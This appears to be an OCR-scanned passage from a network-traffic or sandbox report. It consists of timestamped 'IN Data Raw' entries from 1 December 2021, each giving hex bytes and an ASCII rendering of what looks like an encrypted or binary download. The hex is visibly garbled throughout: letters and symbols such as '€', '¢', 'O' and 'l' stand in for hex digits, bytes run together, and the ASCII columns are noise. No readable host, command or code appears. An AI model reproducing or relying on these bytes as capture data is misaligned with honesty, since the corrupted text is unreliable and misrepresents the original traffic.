€254 ab 0059 7d 9c d5 c8 2c ce 85 81 df 1c bd bl 25 f2 5e 71 cd d3 b9 48 4e 4a 5a €9 {7 a8 7e 9e 4b b8 d6 56 ec 12 16
6d 5b Oc 95 15 5¢ c4 ba a2 67 a9 ad d3 a4 55 f4 2c 8e 3e c0 06 bf c5 50 62 2b ed 5f 6e 5d 1f a0 28 9c 45 ea e de dc 04 fC
bb 11 01 2a 3f f9 3d 43 74 45 c2 3e c9 fe e5
Data Ascii: {Hvn"la5?|IRI\W\<z68>z>hPhM>1BqtU{0)=YF2vrr,[j/T3%w,TY},%"qHNJIZ~KVm[\gU,>Pb+_n](E*?=CtE>

2021-12-01 18:10:27 UTC 35 IN Data Raw: 7b fd cf 5f 9f 95 38 02 0f 7a fb 53 ac 4b cf d8 45 Oe 55 66 00 54 b2 7d 90 57 c¢7 96 Of 53 76 bc f1 49 d8 f4 8f ad
95 fe 85 9e 58 20 66 5a b3 39 1c e7 61 47 39 1a d3 00 10 Oc da 15 3a 73 c2 91 9c 29 aa a6 49 5a 56 b9 47 14 09 c1 4f 64
6 99 ab 20 d2 5c¢ 19 be ff ce 8f f4 b9 Ob 88 3c 39 98 df 83 11 €8 7c 12 c2 6d 1b 3b a6 1c 5c f1 98 36 d3 ef 78 62 4a 3d bb
06 el ba 58 44 2d 39 b8 50 ee 63 ce 54 ca 60 d7 17 ab 6d 70 fO 6d Oe 54 a5 3b 9d 17 fe d7 19 63 06 f1 01 c5 97 60 c2 10
5d 71 3b bd 82 40 b6 40 a3 be 95 04 60 97 ab aa 90 e5 a8 d0 15 88 17 d2 98 65 05 bf c8 e2 23 17 df 15 5b d5 0 f5 13 8f
78 c6 de 77 da 45 Oa 34 45 dO cc e8 a5 5b ff 79 c2 3a 52 5d 8f 9c aa 38 16 39 d3 24 d7 8f 25 b7 8a b6 e3 cc 4c 42 b3 9a
4a 23 6d ce cf d1 83 b8 0f bd 6c f3 28 89 3a 6d
Data Ascii: { 8zSKEUfT}WSVIX fZ9aG9:s)IZVGOd \<9|m;\6xbJ=XD-9PcT mpmT;c’]q; @@ e#[XWE4E[y:R]89%$%LBJI#mI(:m

2021-12-01 18:10:27 UTC 36 IN Data Raw: 69 fa 82 df 8d a8 e6 d2 d9 f6 96 1e ce 9e b6 e2 7b ed 53 b9 4d dd e9 7b 99 de 33 ab f9 82 75 83 ce Ob 8b 80
86 2e b8 76 b2 a3 7f ef 5e 9e a3 f4 da 90 48 ca 87 58 33 al 41 40 bd b4 b3 be e0 da 72 17 Ob 20 b1 a6 54 9c 47 9b 74 Oa
8d 60 d9 e8 5b c1 6d e4 78 9c fc 43 72 00 8a e9 88 21 fe 2b 8a b0 18 99 86 51 08 86 ba e2 56 bc d5 54 8b c4 e9 ec ce b9
93 16 47 28 64 99 48 7f f6 76 8d 86 fa d7 23 b7 f5 21 b0 f5 85 52 59 c7 ab 33 le e2 52 04 d9 ba 62 bb a3 cc 59 39 62 93
5e e9 b5 42 e5 5f Oe ce 36 cb ec 7a 4a 59 87 7f 83 0a da fO 9b 2a b6 25 18 f5 31 4c b6 24 3d e2 31 05 3d 47 6d Oe 15 50
a3 23 e9 39 b2 7a 25 02 7c 8e f3 53 2c 51 9f 85 6a 6b 29 f5 ba df 8a 41 89 2b a2 3b ad Oa 5f d4 Oe e5 13 el 3c bl a2 8c
6¢ 7c 3e Oa 4a 7f a5 c¢3 d8 28 d2 e9 dO 51 ab d6 1a 5e a7
Data Ascii: {SM{3u.v"HX3A@r TGt [mxCr!+QVTG(dHV#IRY3RbY9b B_62JY*%1L$=1=GmP#92%|S,Qjk)A+;_<I|>J(Q"

2021-12-01 18:10:27 UTC 38 IN Data Raw: 17 bc fe 2e 66 25 7a 8e 41 ee c3 8e 74 98 07 40 4d 21 55 77 39 1c eb 9a 77 4f 2e a7 97 8a 34 6e 76 79 97 35
e7 14 12 ee 3e 09 68 52 27 32 1c al 7a 44 82 a8 89 18 7f 56 31 00 6b 18 be f0 5e ac ba 13 d2 c9 8d ab cb 1f 09 2d f5 5d
735893 d2 54 8¢ 98 24 Oc 36 51 ed 42 a2 e8 7a 9c 20 06 7d df Ob 8a ae 7f 91 29 a7 19 b8 4f 4e e9 85 4c cb 7 45 60 97
dc 80 89 58 5e 39 c0 a0 35 d1 €9 61 00 Of 1b d3 00 29 09 cb 11 Oe 42 c2 93 96 3b a3 ad 14 52 51 91 f6 14 09 c5 5e 62 el
15d0 28 c9 54 08 b7 71 62 8d 3f ab 8b a0 bd 38 d5 d5 ae 94 22 79 73 a4 92 0d 25 aa 6f 25 9f cf 3c de ec ac 40 4e 52 a8
17 e1 b0 35 dc d3 3b cf 44 cf 6¢ ce 5e d9 66 bf 01 af 6d 4c e3 68 1f 02 b4 3d e3 18 40 d6 13 74 08 ee 70 92 f5 60 c8 05 70
47 56 97 85 68 92 41 8b de fb c3 6b 84 a9 bc ee 84 82
Data Ascii: .f%zAt@M!Uw9wO.4nvy5>hR'2zDV1k -]sXT$6QBz })ONLE X"95a)B;RQ"b(Tqb?8"ys%0%<@NR5
;DINfmLh=@tp pGVhAk

2021-12-01 18:10:27 UTC 39 IN Data Raw: 1f 7a 6c d1 b5 ea 19 3e da 21 90 39 20 73 6a 92 88 73 69 05 aa 8b 3f 87 17 78 02 bf 85 b5 77 98 6¢ ed 77 3b
93 aadc a2 57 91 37 4¢c 82 71 f8 f4 ef fb ba b5 4c e2 ce 11 8b 54 eb 08 71 a6 67 5d ac 58 87 ac 46 48 74 a2 3d 80 9d 04
5c 60 c2 1c ce 88 b7 f2 26 cb dd 83 09 c1 ac 56 e0 57 f3 73 bd 4d dc e3 14 7d ce 32 al ec a6 08 87 ce 10 b4 96 87 d0 6b
66 a3 8c 50 fe 59 8f 71 b9 ea 9b 45 ea 92 5¢ 2b 5f 68 7¢ b5 c¢7 05 96 8e d1 78 04 21 da 4f 48 ae 97 aa 9d 58 18 92 6d 22
€9 66 f3 7a 1f 7e 3c €5 7b €3 02 €5 9a 96 28 e7 06 fe a0 1d 8f 5d 7d 21 ab a9 ce 7 b7 ac 4e 98 c0 6 8e db b9 82 11 4b 22
88 9d 1f 22 e0 fb 9¢ 02 95 74 09 a8 e3 2d bc e6 93 57 57 ca 43 cc 33 da 59 3b aa be 62 ac cb 4e 56 ¢7 69 86 d6 c2 b0 7a
al aa e2 34 48 a8 e8 60 be 70 de 6a 85 02 f1 ea 9d 02
Data Ascii: zI>!9 sjsi?xwlw;W7LgLTqg]XFHt=\"&VWsM}2kfPYqE\+_h|x!IOHXm"fz~<{(J}NK"'t-WWC3Y;bNViz4H pj

2021-12-01 18:10:27 UTC 40 IN Data Raw: 42 21 cc f8 e2 d7 cc 2a c1 f8 ae 6d 55 b9 23 24 5a 37 08 85 c¢1 57 01 84 98 ch 85 a7 ba eb 08 23 14 9a 68 07
€337 ¢5 1181 af cd da f5 11 ef 4a 2e dc a5 57 03 a5 f1 25 87 00 31 96 48 e8 ca e7 0d bd d1 a3 80 21 e1 0d 71 77 cl1 7a
2312 b2 c0 6f eb 92 63 ff fb c6 d4 8b 5¢ 38 76 d7 4a 09 ed 64 3f 09 94 2d 5d 4f 24 a0 ac 2c 3e e0 c7 16 f2 bb 50 ca 2d 90
2b df e3 51 99 32 1d a6 1d 76 0d 1f 9c Oe ca 39 35 16 7e 67 €9 e6 5f a6 a3 1c ef a3 89 a4 6d 28 19 28 71 e6 af 78 eb ce
55 86 ba be 05 le 74 fc 44 ab c2 6¢ be 78 Oa 3a f4 0a 8a ae 03 87 39 a3 9d 1c 5d 6e d7 bc d4 d8 fe 59 79 41 e6 8c b0 66
4f 31 50 a0 34 d4 e5 4e 10 2b 1b d9 d4 3a 0a f0 14 26 72 d2 93 9¢ 17 aa ea 11 df 83 b9 56 Oe 09 c3 4e 71 c6 c7 c3 1d d8
5c¢ 19 9e ff d5 ae f2 95 85 8a 53 f0 d5 df 89 16 cf 75
Data Ascii: BI*mU#$Z7W#h7J.W%1H!qwz#0c\8vJd?-]0$,>P-+Q2v95~g_m((qxUtDIx:9]nYyAfO1P4AN+:&rVNg\Su

2021-12-01 18:10:27 UTC 42 IN Data Raw: b9 b9 db fc cf 29 08 03 90 79 7 c1 a2 3c e8 al 2e 98 63 1e 8e 4c c9 7a bc 63 28 d3 fc cb ad 44 ba 00 81 7e 9a
19 f6 3b ec 96 5b a7 b6 77 99 8e 21 c5 a4 7d ce €9 58 00 8b fd e7 78 6¢ 73 a4 8c d4 e5 48 22 fd 78 el bd 54 68 37 db a4
7e 4d 6¢ d3 97 f3 Of b3 ¢5 32 97 13 27 8b 18 92 88 7b 9f 16 ac e4 e6 94 10 64 3b b0 d1 c7 76 99 7a fe 7e 2f 81 a4 ce c9
17 f2 21 4c 84 fd c7 f4 ef fc a9 c9 dd e4 f3 51 8b 54 e0 0d 6f a2 61 Oc 70 c8 83 fb 46 59 6¢ b8 5d 13 a4 42 57 73 ¢8 0d d5
9f 81 d1 b7 c9 f1 90 27 5e 85 48 €9 46 dc 73 e9 4e dc ef 14 29 cf 32 al e2 a0 09 ab e6 70 b2 8d 7f f9 dO 6¢ al ae 6e d7
717 5e f5 f0 e7 d8 eb 83 53 22 ab 7b 79 94 c7 ba 96 88 f3 e5 1c 32 d5 5e 70 83 f4 57 9c 72 74 12 7f 27 e3 66 fc 76 c8 57
65 ef 43 74 2a 72 9b 89 2b e5 2a d6 c7 1b 93 a5
Data Ascii: )y<.cLzc(D~;[w!}XxIsH"XTh7~MI2'{d;vz~/!LQToapFYI|BWs"”*HFsN)2pIng"S"{y2"pWrt'fvWeCt*r+*
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kBytes
Timestamp transferred Direction Data

2021-12-01 18:10:27 UTC 43 IN Data Raw: 7c 48 f3 d7 af 46 le fd 33 6a f0 82 74 b6 10 f8 e2 5c c4 3f 15 6d 5d 94 bf 27 5f a9 be 8a 40 a2 a8 d9 cb c2 f4 2¢
84 37 c7 17 b8 d4 57 74 3afb d1 d9 32 9f a5 28 96 6e €9 f1 a3 d3 04 fa af 18 08 3b 36 85 5f 44 74 59 d2 37 d8 97 8a 4a
29 cc 77 f9 e7 d0 3f 5d e9 a6 67 49 3a 3d d2 47 0d 9d ac 34 48 17 18 96 d3 88 bb 26 eb 0a 23 08 72 f5 3a e2 10 24 05 1d
be da d3 ed 0d 73 4a 2c c8 ab b0 05 9f fc 38 aa 3f 81 96 42 e0 c8 7f 12 ad 0a a7 53 b3 c7 1e 7b 76 dc 72 23 17 44 d7 41
6¢c 1d c2 f2 21 ee dc 81 4f 38 05 51 41 16 f3 89 38 3a 9f a6 a6 05 24 al be 01 22 6e 70 0d df 41 e6 10 30 62 2d 09 6e 70
8a 37 03 b2 06 74 83 b9 89 01 1e d6 31 2c 70 71 e9 52 5f a6 a3 98 42 aa 9f ad f0 9a 17 22 ec 5b 75 41 6 d5 ab 8d be 3f
Oc 16 56 fc 42 a8 cf 17 16 68 Of 5f 44 1a 8a a8 66
Data Ascii: [HF3jt\?m]'_@,7Wt:2(n;6_DtY7J)w?]gl:=G4H&#r:$sJ,8?BS{vr#DAI!O8QA8:$"npAOb-np7tl,pgR_B"[uA?VBh_Df

2021-12-01 18:10:27 UTC 44 IN Data Raw: d7 9b 35 36 1b 81 4a 55 b8 de f5 0f 14 6b 7a 71 fc 45 ff 18 57 68 09 ce 3d 96 73 Oa 3e 46 ac ad 9a 1f 51 23 ad
€2 1b 46 5b 86 f9 23 38 10 19 Oe 3c dO e0 37 b6 8a bc bc b9 4d 4b a9 9a 48 22 3d fe d1 b4 0a b7 Of bd 0f f3 2a 98 2b 71
91 03 cf e8 d1 29 25 00 90 75 f7 f4 a2 3c €8 al 36 b5 ce 36 €0 49 c2 0f 10 ee 2f d9 f6 cd d6 83 ae 28 28 6d 95 05 cd 24
d4 db 50 b4 b2 6f 8a 13 10 5f b7 78 c9 c5 e5 30 8b {7 c1 4b 78 4f 8e 01 eb e5 59 27 98 dd 75 bc 52 71 1c Ob 66 12 65 5b
d1 bf ed 1c bb e7 19 90 38 21 86 47 93 88 79 a6 05 84 88 ef 87 11 1d af b9 af b3 5a 9c 48 ef 76 39 93 bd d8 e8 b4 90 21
46 ed ff f9 f4 e5 92 36 ce cc e8 f3 bd 8b 54 ec 08 44 db f4 07 ad 52 94 fd 50 59 62 db a6 84 a5 44 4a ba d1 Oc cc 84 90 3e
d8 cafl 87 08 d8 8d 60 82 54 f5 5d f6 ¢7 dd e9 7d
Data Ascii: 56JUkzqEWh=s>FQ#F[#8<7MKH"=*+q)%u<661/((m$Po_x0KxOY'uRgfe[8!GyZHvI!F6 TDRPYbDJ>T]}

2021-12-01 18:10:27 UTC 45 IN Data Raw: 36 0d 36 3 1b 5d 90 61 eb 85 31 05 2c 1e 7c 02 2c de aa 21 f0 5b 3a 00 71 04 6f 8c ca 7b 3d 5d bd 73 1f 6a 2f
90 26 44 a2 30 9b 21 b9 3e ae 04 5f 36 Oc e5 1f a6 a6 b1 a2 80 52 ec ab 0a 4c 6a 85 c2 d1 3c 26 95 94 59 d5 41 18 25 8
42 48 e5 d7 af 46 d6 03 34 20 db 8d 65 b1 3c 98 fe 1b c5 3f 1f 7c 54 1b b1 0f 3c ¢7 bc 8c 2f 23 ac d9 cd a2 6¢ 2c 84 27 d6
1091 63 57 74 3c f9 d9 c8 34 9e 2f 29 96 5e c1 b2 b2 d6 2¢c 75 ae 02 02 16 0d 87 67 6f 42 3¢ f3 35 d8 f1 99 47 29 d7 75 f5
b0 fe 3e 5d ef b7 7b 52 2f 5d 08 44 21 92 85 c4 5b 1f 77 af c1 9b b7 37 f7 28 03 1e 8¢ f2 79 c1 2a cf 01 1b af c8 aa 8 06
7351 Oe f9 a5 4e 02 a0 e6 f7 a0 32 18 al 42 ea 4e 43 1c 85 33 b4 56 a6 14 0d 60 7a da ae 2f 11 ab da 7c 76 1b 80 Oe de
11 d2 9b 4b e4 16 51 5a 18 fa 65 b7 al bb c6
Data Ascii: 66]al,|,![:qo{=]sj/&D0!>_6RLj<&YA%BHF4 e<?|T</#l,'cWt<4/)",ugoB<5G)u>{R/]D![w7(y*sQN2BNC3V z/|vKQ
Ze

2021-12-01 18:10:27 UTC 47 IN Data Raw: 49 al 6¢ 1d 37 bb 68 51 22 98 3c d4 89 54 68 4e 54 af 2f 76 b0 37 d6 3c 3f dd ed cc 62 c4 76 bf 67 a4 3b c5 7f
7b e3 62 70 77 b6 3d f4 36 d7 70 10 72 05 86 44 ee 96 66 ce 0a 86 7c 71 bf b4 40 bc 49 98 d1 e7 26 68 84 a9 b0 bd b2 83
d1 1f 5¢c 04 d2 a3 63 04 bb de f3 27 9f 68 89 8e d4 e5 e5 18 51 63 cc eb 1b be 18 0a 3e 4c el a9 e9 b4 22 99 a7 ¢8 39 74
5d f8 df fc 38 12 1b 18 2e d0 e6 1f €5 89 bc cf e4 55 5¢c b3 9¢ 27 e5 26 ce df 6a 8d 93 27 8a 6¢ f3 20 85 1c 55 b9 b8 c5 36
db 07 d5 2f 91 73 db f8 b5 3e e2 aa 17 ce 74 36 e6 67 d0 7e aa e8 40 15 fc ca b3 8e a0 0d 0a 49 9a 13 d4 27 c4 ae 51 b4
b8 a0 85 04 34 c4 b8 7c d8 c1 cd 07 8b eb e9 66 73 6d bc 00 ea e5 48 13 eb 4c 38 bc 5a 78 1b d5 75 2c¢ 7d 6f d1 e3 e7 Of
b3 91219029 58 el 52 92 82 73 bl 7c 83 e5 ec 83
Data Ascii: [I7hQ"<ThNT/v7<?bvg;{bpw=6prDf|g@I&h\c’hQc>L"9t]8.U\'&j'| U6/s>t6g~@I'Q4|fsmHL8Zxu,}o!)XRs|

2021-12-01 18:10:27 UTC 48 IN Data Raw: 76 d0 86 a9 e6 7d a7 aa 6¢ 20 c7 eb 9b b1 3e 92 14 52 00 74 9a 19 3f 7 70 e6 8a 94 75 25 a0 29 2d af f5 8a
6a c4 c0 bd cd Oe c8 40 1b dd d2 eb ab a4 d5 45 ce 72 b9 4d ca aa 15 37 a0 f1 37 5b b2 fc 7¢c 51 79 eb 11 0a 01 d9 2 8d
0831 2c 30 7c 1a 57 8¢ Oc 75 94 3a 2d b2 16 6d 04 29 79 b8 2b de bb b1 01 7b 2f 4a 9 f9 70 2c 57 86 €6 0d 66 38 f6 c3
6d a0 36 8e 3a a4 26 b4 67 53 ae 0f e3 08 c5 3d ba cd a0 78 54 ad 1b 46 51 21 d0 d9 2e b7 be 87 51 ad d4 09 29 9d 42
61 cb dd 71 43 e5 d5 02 40 f7 a2 67 bb 38 81 d6 5c ce el 15 7¢ 55 1d 6b 34 57 d5 b4 9b 56 97 c6 26 34 32 dc 81 87 2d c1
64 3d d5 57 7e 32 c2 8f da 32 b0 88 b3 96 54 e6 d9 3f dc 04 f0 87 97 08 3b 3d f9 da 42 74 45 be b0 d9 {7 80 5d 57 52 65
3 d5 b9 b5 5¢ €9 ac 65 46 0d 9c 2f 46 27 e7 10 c8 4a 1d 10
Data Ascii: v}l >Rt?pu%)-j@ErM77[|Qy1,0]Wu:-m)y+{/Jp,Wf8m6:&gS=xTFQ!.Q)BaqC@g8\|Uk4WV&42-d=W~22T?;=B
tE]WRe\eF/F'J

2021-12-01 18:10:27 UTC 49 IN Data Raw: 8d 10 66 96 0f 53 6¢ c0 85 5b b7 db 51 73 99 98 60 98 51 45 26 6b f5 40 e2 ed 66 2e 38 0f c2 le 2b 1f b5 33
2473 c4 fc b4 15 aa ba 00 4e 49 aa 28 37 Ob ¢3 49 05 d2 c1 ¢3 26 c9 48 08 ad 90 f0 bd fO bf €3 ae 3e 39 d3 ce 97 28 40
74 61 a5 03 31 33 aa 69 2f f4 89 28 b1 f0 71 6a 44 40 b1 2f 27 b1 37 d6 00 a0 6¢ 31 de 7a 30 48 c7 66 a4 2a c5 3a 7a €3
62 ¢3 40 b0 17 f2 30 fe ff 13 72 01 €9 92 ec 3b c9 c9 0f 58 69 54 97 81 40 65 42 28 a4 96 Oa 6a 84 af bb 97 8a 1a d3 6d
93 07 db 89 62 14 bb c5 ¢3 2d 99 20 7b 77 d4 9a ff 18 40 7d c7 56 33 be 44 0b 2d 4a ae af ff b3 cd 32 al df 25 e2 4a 80
eb eb a4 07 35 16 3a 4c f1 31 ac 9c 20 d8 ca 56 48 2f 8b 4e 3f 30 52 c4 b2 9e a0 93 ac 6a ed 3c 15 25 6b a6 bl d9 74 ca
07 b4 09 86 ef ce d6 bd 37 f4 30 2e 9b 68 3a f6 d3 d8 7a
Data Ascii: fSI[Qs QE&k@f.8+3$sNI(7I&H>9(@tal3i/(qjD@/'711z0Hf*:zb@0r; XiT@eB(jmb- {w@}V3D-J2%J5:L1 VH/N?
ORj<%kt70.h:z

2021-12-01 18:10:27 UTC 50 IN Data Raw: 94 c9 4a 49 18 89 d2 e8 Ob 26 fa 0a 36 1b f2 df 17 eb 2c e7 10 1f be c3 ed af 04 73 5d Oe cf a5 4e 02 dc 28 29
af 1d ee 98 67 c2 73 50 12 a7 07 9c 6e ac ca 07 af 76 cb 06 17 1c ba d2 45 72 27 7c f6 09 bf cO 8a 5a 1a 1c 42 4b 0Of 84
b1 39 16 8e 7e 78 6a Oc 96 bf 29 3c 63 58 3f {7 35 ed ce 3a 4c 16 08 72 7a 99 32 1c ad 15 62 al a8 8d 04 10 28 31 00 61
47 c1 ed 12 a6 a7 Oe f9 aa 9e b7 d3 96 08 c9 fd 51 75 3c fc cf 44 ff 28 29 05 14 74 93 d1 a8 ¢5 72 bb 17 9c 55 6¢ 01 99 ad
12 bb 39 a3 93 27 4e 7d d3 92 45 d1 d6 93 70 9f f1 81 03 51 4f 3b 72 2f 33 c0 e5 75 2¢ 3a 1f fb 3b 3a Oc d0 39 21 75 c9 4e
3e 15 aa bc 00 5e 70 2c 47 14 03 d0 47 7b fe eb 02 23 d8 5a 31 74 fe d5 b5 d8 72 8d 88 36 56 19 de 83 Oa ef 71 68 8b fO
1b 31 a0 47 28 f2 98 3a cd el 61 6d 63 55 af Oc
Data Ascii: JI&6,S]N()gsPnVEr|ZBK9~xj)<cX?5:Lrz2b(1aGQu<D()trUI9'N}EpQO;r/3u,:;:91uN>"p,GG{#Z 1tr6 Vgh1G(:amcU

2021-12-01 18:10:27 UTC 51 IN Data Raw: 36 €6 20 el 7e aa €8 3e d9 ed cd d6 74 ac 28 24 6f 90 02 da 45 ca 94 51 b2 a3 74 ad d2 1d c5 a2 13 f2 ¢3 cd
07 8d e6 c1 09 6b 76 bc 0a fa eb 27 e4 eb 50 7e 86 f9 9c e4 2a aa 21 5¢ 62 a4 84 e7 0f b2 e3 2d 81 36 5e 60 52 92 89 16
€0 02 ac ee 30 59 02 57 00 8f af b5 7d 8a 7d 9e cd 39 93 a6 d7 e8 07 91 21 46 5¢ 73 fe de e8 d7 ba cf cc a3 ef Ob 8b 56
ea1b 41 fc 67 07 ad 3b 86 fb 46 f4 64 b4 2e 93 a5 42 5d 60 c2 1c df 8d a8 f9 d8 cc f1 96 0f 07 85 48 e3 83 f4 5b 99 58 dc
€9 7b ab ce 32 aa 0 9a le 82 cf 00 b1 8d 17 d1 47 7c b7 b7 7a c6 ab 85 5d 5 f6 99 45 f3 7d 58 1f a4 7f 5a a6 a7 bc 96 of
de 6d 14 cc de 63 51 ad 97 82 96 6b 11 99 7b 27 f8 72 el 9a €0 53 13 f4 50 77 02 f4 9f 96 2b 0a 02 d2 b9 11 89 75 71 12
ab b8 e3 7d a7 a9 58 75 ¢5 ¢7 91 d8 bb fc dd 54 2d
Data Ascii: 6 ~>t($0EQtkv'P~*\b-6""ROYW}9!F\sVAg;Fd.B] H[X{2G|z]E}XZmcQk{'rSPw+uq}XuT-

2021-12-01 18:10:27 UTC 52 IN Data Raw: 3f 15 6d 5d Oa bd 27 5f c4 bc 8a 46 a9 ad d9 d3 cc f4 2¢c 9a 2c ¢7 17 ac d4 57 74 20 ea d1 d8 29 86 a3 28 d6
55 ec f1 d2 dc 04 eb dc b8 08 3b 3d 9c 11 7f 74 4f db 1f 00 f4 8a 4c 2f b5 59 f3 df dc 11 5a ef ad ab 5¢ 24 32 2¢ 98 35 bl
bc fe 4a 17 12 9a ¢7 9d ba Oe ¢2 00 3¢ 17 51 fd 17 eb 28 b1 3b 1d be cf ed 26 04 73 5d 31 b8 9a 4e 04 b9 e2 21 c0 a6 31
96 48 e7 4d 43 1c bb 18 b9 6e 6e ca 0d 71 67 ¢3 69 31 87 a9 d3 13 59 25 7c fa 09 37 c0 8a 5a 23 00 68 6f 09 eb 7d 2e 79
b9 a0 76 45 37 a7 97 38 37 6e 7a 16 f1 1d 3d 13 3a 4c 53 bb 6f 7a 93 46 Oe ab 15 65 ec ba 82 1e 1a 3b 3b 11 67 5f 1a f2
5e a0 c6 a6 f8 aa 95 d8 f1 9f 08 36 ec 56 64 56 d4 13 56 8c 94 46 b7 1f 7e e7 36 ba c5 78 ac 7a 07 47 64 1a 82 26 db 82
€2 8b 91 0f 59 54 ¢2 93 59 d0 d6 b3 73 9f f1 ba 91 22
Data Ascii: ?m]'_F,, Wt )(U;=tOL/YZ\$2,5J<Q(;&s]1IN!ITHMCnnqgilY%]|7Z#ho}.yvE787nz=:LSozFe;;,g_"6VdVVF~6x
zGd&YTYs"
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kBytes
Timestamp transferred Direction Data

2021-12-01 18:10:27 UTC 54 IN Data Raw: 1a 51 64 c6 de 30 54 47 0a 38 23 22 a9 e9 af 7d 12 b6 ce 22 7b 73 6¢ fO fd 3e 03 25 27 68 d1 e0 3d al 10 94
22 cf 4d 58 a6 8c 60 67 27 ce df a2 19 9e Oc bc 6¢ f5 02 15 34 6d b3 d7 e9 ea db 07 80 30 81 76 f7 3c al 3c e4 c3 a2 9d
77 3c cc 6a d8 7a bb eb 07 3f ff ca bf 45 b8 00 66 7f 9a 19 c9 b0 c4 7d 52 b4 b4 6b 93 2a 5a c4 a4 76 ce 5b a2 27 89 {7 cd
77 7b 5f 51 03 eb €3 27 09 €9 50 72 ba 45 64 74 c3 75 37 47 7d db d0 20 0f b3 c5 1b 5b c6 d4 a4 8¢ 84 99 73 c2 39 ac e4
ed ab 1b 63 22 cd 94 b5 77 98 1f ba 77 39 99 70 cd c8 28 47 32 44 93 79 €9 fd 61 4a 85 b5 32 1d 24 d5 9e 71 c2 2c 41 a5
6d 14 aa 2b 3d fb 46 42 6e 9c 16 85 a5 48 83 62 c4 36 d8 a7 a8 f9 99 fe f1 96 Od c9 84 48 b5 57 f5 5b d3 4c dc €9 db b0
ce 32 bd f3 aa 1b 82 ce 01 b1 8d 79 d1 47 6b al a4 7f
Data Ascii: Qd0TG8#"}"{sI>%'h="MX g'l4mOv<<w<jz?Ef}Rk*Zv['w{_Q'PrEdtu7G} [s9c"ww9p(G2DyaJ2$q,Am+=FBn
Hb6HWI[L2yGk

2021-12-01 18:10:27 UTC 55 IN Data Raw: 37 b6 90 b1 01 71 1d 61 99 c9 72 3d 43 8e 14 1d 46 23 81 3f 45 a2 3c 9b 2d b4 24 ad 08 66 be 10 e9 e7 c8 00
ad b3 81 6d d9 f4 Oa 4a 78 9e dc c8 27 ce 8b be cc ba dd 77 6¢ f3 54 6a d8 de b0 41 d3 ef 35 51 e5 bf 8a b7 3c ba ce 4f d€
3f04 7f 42 11 43 26 73 cd 84 ¢5 41 a9 ad c6 d7 de e6 2c 95 3f d8 08 47 d5 7b 78 2b fa cO c8 bc 01 92 7b 89 74 ff e3 a3 cd
16 e5 b5 fc 09 17 3c be 6e 47 74 49 c2 32 c7 ec 99 58 38 cb 76 ec d6 28 3d 71 ee b0 65 4e 3a 38 3f 54 21 85 86 d6 44 e9
19 a5 c4 8d a2 36 e5 Of 2f 0f 8c €5 04 f4 3b 31 06 31 b7 d4 cf €9 9d 7f 44 32 c4 b5 4e 15 al f1 39 51 16 1c 9d 53 fb 55 40
88 be 00 ab 47 bf d8 0d 60 64 d1 86 3d 31 b0 a8 fe 65 25 76 e3 24 3 d0 98 5c 23 17 5f 69 {7 ea 5b 34 07 8c b1 70 20 00
a3 bf 2f 29 4d 63 15 7 24 {5 0f 30 b4 3d 25 67
Data Ascii: 7qar=CF#?E<-$fmIx'WITJA5Q<O?BC&sA,?G{x+{t<nGtI2X8v(=qeN:8?T!D6/;11D2N9QSU@G d=1e%v$\# _i[4p
/)Mc$0=%g

2021-12-01 18:10:27 UTC 56 IN Data Raw: €5 b0 31 b3 d1 39 b2 35 dd 69 df 4e 43 4e ad 35 aa 6b 15 00 69 1f 5b a2 c3 f0 6f d3 cf 02 79 12 f9 f4 fa 87 6b
d9 11 c2 06 9d 97 83 4a a4 99 e4 37 94 04 60 88 be b0 84 9a 19 f9 1f 86 04 d3 €6 9e 14 bb d4 e2 2c 88 78 6d al 4e d8 f4
1c 51 64 b8 27 18 be 4e 55 12 39 ae a2 f8 b5 cb 35 b6 ¢3 22 6e c1 e9 3a fd 38 1c 24 d5 43 3f €0 37 bc 99 b9 d8 ¢7 5¢ 4e
a4 4c d2 35 37 ¢5 ¢4 a4 94 60 95 d2 a5 f3 2a 83 2¢ b7 d6 57 cf e8 d1 12 ad 70 b2 71 df d6 b1 2d f3 a9 50 54 77 36 ea 55
18 52 bb ff 27 bc d4 ¢8 b9 56 bf 39 33 78 5 37 dc 2a ea 87 40 a5 b7 11 a3 00 1e c3 b5 6d f0 cd c9 01 8d 98 el 64 7d 71 ba
11 fa 8a 5e 22 eb 5a 65 ac 43 b4 08 c5 65 27 5¢ 7b ef a2 18 f0 4c de 28 87 ee 38 52 43 9b 99 6a 89 a1 51 1b 13 59 02 57
00 8f af b5 7d 8a 62 9e cd 39 93 a6 d1 8 07 91 21
Data Ascii: 195INCN5ki[oykJ7" xmNQd'NU95"n:8$C?7\NL57 * Wpg-PTWEUR'VI3x7*@md}g"ZeCe'\{L(BRCIQYW]}b9!

2021-12-01 18:10:27 UTC 58 IN Data Raw: 70 b4 fb 29 f6 7c al 19 91 75 25 9f d7 3e b9 ec 94 7a af c1 bd ¢7 37 €9 51 13 c0 ae 67 bb al fb 67 c7 63 b5 71
c9 c3 c0 be al fb 3a 95 64 ed 7a 40 60 f7 56 df 00 d9 f2 93 Ob 08 c6 1b f3 1d 7f 62 22 3d 83 19 58 3d 17 6b 1d 00 4f 81 c7
5 34 b6 29 96 01 7c 8c f3 2f 2c 51 93 f9 1a 63 01 17 af 45 a4 1e 61 28 a8 31 97 55 77 ac 09 f6 11 c0 04 ac a6 86 7c 7c b6
Oe 4a 7f a5 8e d9 28 de 87 82 58 83 cc 1c 25 f4 7c 7f cf d7 a9 64 9d fd 35 46 fb b9 7c 9e 3e bb d6 5a d2 17 3b 6d 5d 00 ab
09 Oc b7 9e 88 40 af be d0 da c4 e5 28 ac c8 c4 17 bf ¢5 51 5¢ 1d ea d1 d3 5d 9e a2 28 90 45 e5 e0 ab b3 20 f8 af 04 19
3226 91 00 65 76 4f d7 26 d1 df aa 4e 38 dc Ob d9 dd d6 3a 5b f8 af 19 55 24 32 26 98 2e b1 bc fe 4a 17 12 9a c9 b3 89
26 fa 0a e2 1d 52 e1 33 c3 1f cf 07 17 ad ce
Data Ascii: p)|u%>z7Qggcq:dz@"Vb"=X=k04)|/,QcEa(1Uw]||J(X%|d5F|>Z;m]@(Q\](E 2&evO&N8:[U$2&.J&R3

2021-12-01 18:10:27 UTC 59 IN Data Raw: 70 31 5a b2 91 d1 e7 71 34 3a 1d 05 11 2b 0a Oc ce aa 4c c¢2 93 9d b5 bb b4 05 4e 4c 91 e4 14 09 c9 67 7b f6
c3 c9 33 df 4d 1d 96 63 d5 bf fa a6 9c a0 d5 38 d5 d5 92 06 26 60 bb bc 43 Oa 36 82 f3 3e f0 92 23 ce ce 99 6b 4e 58 7f 18
